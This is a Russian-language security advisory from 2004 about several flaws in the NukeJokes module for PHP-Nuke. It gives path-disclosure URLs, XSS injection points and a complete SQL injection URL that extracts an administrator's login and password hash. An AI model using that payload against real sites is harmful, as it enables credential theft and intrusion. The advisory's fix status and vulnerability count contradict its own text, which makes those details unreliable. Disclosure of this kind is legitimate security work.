Несколько уязвимостей в NukeJokes

Дата публикации:
10.05.2004
Всего просмотров:
1130
Опасность:
Средняя
Наличие исправления:
Да
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
Нет данных
Вектор эксплуатации:
Удаленная
Воздействие:
Неавторизованное изменение данных
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
NukeJokes 1.x
NukeJokes 2.x
Уязвимые версии: NukeJokes 1.7 – 2.0 beta

Описание: Несколько уязвимостей обнаружено в NukeJokes. Злонамеренный пользователь может выполнить нападение SQl инъекции,XSS нападение и раскрыть инсталляционный путь.

1. Раскрытие пути:

http://localhost/nuke72/modules/NukeJokes/mainfunctions.php

http://localhost/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=foobar

http://localhost/nuke72/modules.php?name=NukeJokes&func=CatView&cat=foobar
2. SQL инъекция:
http://localhost/nuke72/modules.php?name=NukeJokes&file=print&jokeid=-1/**/UNION/**/SELECT/**/aid,pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*
3. XSS:
http://localhost/nuke72/modules.php?name=NukeJokes&func=CatView&cat=[xss
code here]

http://localhost/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=[xss
code here]

URL производителя: http://www.funportal.host.sk

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: [waraxe-2004-SA#028 - Multiple vulnerabilities in NukeJokes module for PhpNuke]

или введите имя

CAPTCHA